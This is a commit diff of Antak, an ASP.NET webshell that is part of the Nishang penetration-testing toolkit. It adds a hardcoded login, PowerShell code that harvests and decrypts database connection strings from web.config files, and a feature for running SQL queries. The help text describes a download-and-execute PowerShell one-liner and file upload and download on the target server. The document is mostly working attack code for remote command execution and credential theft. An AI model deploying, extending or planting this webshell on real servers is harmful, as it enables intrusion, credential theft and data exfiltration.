2
2
<% @ Import Namespace= " System.Diagnostics" %>
3
3
<% @ Import Namespace= " System.IO" %>
4
4
<% @ Import Namespace= " System.IO.Compression" %>
5
-
6
- <%-- Antak - A Webshell which utilizes powershell .--%>
5
+ <% @ Import Namespace = " Microsoft.VisualBasic " %>
6
+ <%-- Antak - A Webshell which utilizes PowerShell .--%>
7
7
8
8
<script Language =" c#" runat =" server" >
9
- protected override void OnInit (EventArgs e)
10
- {
11
- output .Text = @" Welcome to Antak - A Webshell in Powershell
9
+
10
+ protected void Login_Click (object sender, EventArgs e)
11
+ {
12
+ // WARNING: Don't be lazy, change values below for username and password. Default credentials are disastrous.
13
+ // Default Username is "Disclaimer" and Password is "ForLegitUseOnly" without quotes and case-sensitive.
14
+ if (Username .Text == " Disclaimer" && Password .Text == " ForLegitUseOnly" )
15
+ {
16
+ execution .Visible = true ;
17
+ execution .Enabled = true ;
18
+ authentication .Visible = false ;
19
+ output .Text = @" Welcome to Antak - A Webshell which utilizes PowerShell
12
20
Use help for more details.
13
21
Use clear to clear the screen." ;
22
+ }
23
+ }
24
+
25
+ protected override void OnInit (EventArgs e)
26
+ {
27
+ execution .Visible = false ;
28
+ execution .Enabled = false ;
14
29
}
30
+
31
+
32
+
15
33
string do_ps (string arg)
16
34
{
17
35
// This section based on cmdasp webshell by http://michaeldaw.org
@@ -35,7 +53,7 @@ void ps(object sender, System.EventArgs e)
35
53
output .Text = @" Use this shell as a normal powershell console. Each command is executed in a new process, keep this in mind
36
54
while using commands (like changing current directory or running session aware scripts).
37
55
38
- Executing PowerShell scripts on the target -
56
+ - Scripts can be executed on the target using any of the below methods:
39
57
1. Paste the script in command textbox and click 'Encode and Execute'. A reasonably large script could be executed using this.
40
58
41
59
2. Use powershell one-liner (example below) for download & execute in the command box.
@@ -46,21 +64,27 @@ IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Argument
46
64
4. Make the script a semi-colon separated one-liner.
47
65
48
66
49
- Files can be uploaded and downloaded using the respective buttons.
50
-
51
- Uploading a file -
67
+ - Uploading a file:
52
68
To upload a file you must mention the actual path on server (with write permissions) in command textbox.
53
69
(OS temporary directory like C:\W indows\T emp may be writable.)
54
70
Then use Browse and Upload buttons to upload file to that path.
55
71
56
- Downloading a file -
72
+ - Downloading a file:
57
73
To download a file enter the actual path on the server in command textbox.
58
74
Then click on Download button.
59
75
76
+ - SQL Queries could be executed by following below steps:
77
+ 1. Click on 'Parse Web.Config' button to get dabase connection string. By default, Antak looks for web.config in
78
+ the C:\I netpub directory. You can specify a full path in the command box to look for web.config in other directory.
79
+ 2. Paste that connection string in the textbox besides the 'Execute SQL Query' button.
80
+ 3. Enter the SQL Query in the command box.
81
+ 4. Click the 'Execute SQL Query' button.
82
+
83
+
60
84
Antak is a part of Nishang and updates could be found here:
61
85
https://github.com/samratashok/nishang
62
- A detailed blog post on Antak could be found here
63
- http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
86
+ Blog posts about Antak could be found here
87
+ http://www.labofapenetrationtester.com/search/label/Antak
64
88
65
89
" ;
66
90
console .Text = string .Empty ;
@@ -89,12 +113,18 @@ void execcommand(string cmd)
89
113
console .Focus ();
90
114
}
91
115
92
- void base64encode (object sender, System . EventArgs e )
116
+ void base64encode (string inputstr )
93
117
{
94
118
// Compression and encoding directly stolen from Compress-PostScript by Carlos Perez
95
119
// http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
96
120
97
121
string contents = console .Text ;
122
+
123
+ if (inputstr != " null" )
124
+ {
125
+ contents = inputstr;
126
+ }
127
+
98
128
// Compress Script
99
129
100
130
@@ -124,7 +154,6 @@ void base64encode(object sender, System.EventArgs e)
124
154
125
155
execcommand (command);
126
156
127
-
128
157
}
129
158
protected void uploadbutton_Click (object sender, EventArgs e)
130
159
{
@@ -164,29 +193,74 @@ protected void downloadbutton_Click(object sender, EventArgs e)
164
193
}
165
194
}
166
195
196
+ protected void encode_Click (object sender, EventArgs e)
197
+ {
198
+ base64encode (" null" );
199
+ }
200
+
201
+ // PowerShell logic in ConnectionStr_Click and executesql_Click taken from https://github.com/NetSPI/cmdsql
202
+ protected void ConnectionStr_Click (object sender, EventArgs e)
203
+ {
204
+ output .Text = @" By default, web.config is searched for in C:\i netpub. To look at other location, specify the full path in the command textbox.
205
+
206
+ " ;
207
+ string webpath = " C:\\ inetpub" ;
208
+ if (console .Text != string .Empty )
209
+ {
210
+ webpath = console .Text ;
211
+ }
212
+ string pscode = "$ErrorActionPreference = \'SilentlyContinue\';$path=" + "\"" + webpath + "\"" + ";" + "Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null){;$tempdir = (Get-Date).Ticks;new-item $env:temp\\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\\$tempdir;$aspnet_regiis = (get-childitem $env:windir\\microsoft.net\\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + \' -pdf \"\"connectionStrings\"\" \' + $env:temp + \'\\\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\\$tempdir\\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host \"\"$file.Fullname --- $_.connectionString\"\"} } };";
213
+ base64encode (pscode);
214
+ }
215
+
216
+ protected void executesql_Click (object sender, EventArgs e)
217
+ {
218
+ output .Text = @" Use a connection string retrieved from the server and copy it in the connection string textbox.
167
219
220
+ " ;
221
+ string Constr = sqlconnectiostr .Text ;
222
+ string sqlcmd = console .Text ;
223
+ string pscode = " $Connection = New-Object System.Data.SQLClient.SQLConnection;$Connection.ConnectionString = " + " \" " + Constr + " \" " + " ;" + " $Connection.Open();$Command = New-Object System.Data.SQLClient.SQLCommand;$Command.Connection = $Connection;$Command.CommandText = " + " \" " + sqlcmd + " \" " + " ;" + " $Reader = $Command.ExecuteReader();while ($reader.Read()) {;New-Object PSObject -Property @{Name = $reader.GetValue(0)};};$Connection.Close()" ;
224
+ base64encode (pscode);
225
+
226
+ }
168
227
</script >
169
228
<HTML >
170
229
<HEAD >
171
230
<title >Antak Webshell</title >
172
231
</HEAD >
173
232
<body bgcolor =" #808080" >
233
+
174
234
<div >
235
+
175
236
<form id =" Form1" method =" post" runat =" server" style =" background-color : #808080 " >
176
- <div style =" text-align :center ; resize :vertical " >
237
+ <asp:Panel ID =" authentication" runat =" server" HorizontalAlign =" Center" >
238
+ <asp:TextBox ID =" Username" runat =" server" style =" margin-left : 0px " Width =" 300px" ></asp:TextBox > <br />
239
+ <asp:TextBox ID =" Password" runat =" server" Width =" 300px" ></asp:TextBox ><br />
240
+ <asp:Button ID =" Login" runat =" server" Text =" Login" OnClick =" Login_Click" Width =" 101px" /><br />
241
+ </asp:Panel >
242
+ <asp:Panel ID =" execution" runat =" server" >
243
+ <div runat =" server" style =" text-align :center ; resize :vertical " >
244
+
177
245
<asp:TextBox ID =" output" runat =" server" TextMode =" MultiLine" BackColor =" #012456" ForeColor =" White" style =" height : 526px ; width : 891px ;" ReadOnly =" True" ></asp:TextBox >
178
246
<asp:TextBox ID =" console" runat =" server" BackColor =" #012456" ForeColor =" Yellow" Width =" 891px" TextMode =" MultiLine" Rows =" 1" onkeydown =" if(event.keyCode == 13) document.getElementById('cmd').click()" Height =" 23px" AutoCompleteType =" None" ></asp:TextBox >
179
247
180
248
181
249
</div >
182
- <div style =" width : 1100px ; text-align :center " >
250
+ <div runat =" server" style =" width : auto ; text-align :center " >
251
+
183
252
<asp:Button ID =" cmd" runat =" server" Text =" Submit" OnClick =" ps" />
184
253
<asp:FileUpload ID =" upload" runat =" server" />
254
+
185
255
<asp:Button ID =" uploadbutton" runat =" server" Text =" Upload the File" OnClick =" uploadbutton_Click" />
186
- <asp:Button ID =" encode" runat =" server" Text =" Encode and Execute" OnClick =" base64encode" />
187
- <asp:Button ID =" downloadbutton" runat =" server" Text =" Download" OnClick =" downloadbutton_Click" />
256
+ <asp:Button ID =" encode" runat =" server" Text =" Encode and Execute" OnClick =" encode_Click" />
257
+ <asp:Button ID =" downloadbutton" runat =" server" Text =" Download" OnClick =" downloadbutton_Click" /> <br />
258
+ <asp:Button ID =" ConnectionStr" runat =" server" Text =" Parse web.config" OnClick =" ConnectionStr_Click" />
259
+ <asp:Button ID =" executesql" runat =" server" Text =" Execute SQL Query" OnClick =" executesql_Click" />
260
+ <asp:TextBox ID =" sqlconnectiostr" runat =" server" Width =" 352px" >Enter Connection String here to Execute SQL Queries</asp:TextBox >
188
261
</div >
189
-
262
+
263
+ </asp:Panel >
190
264
</form >
191
265
192
266
0 commit comments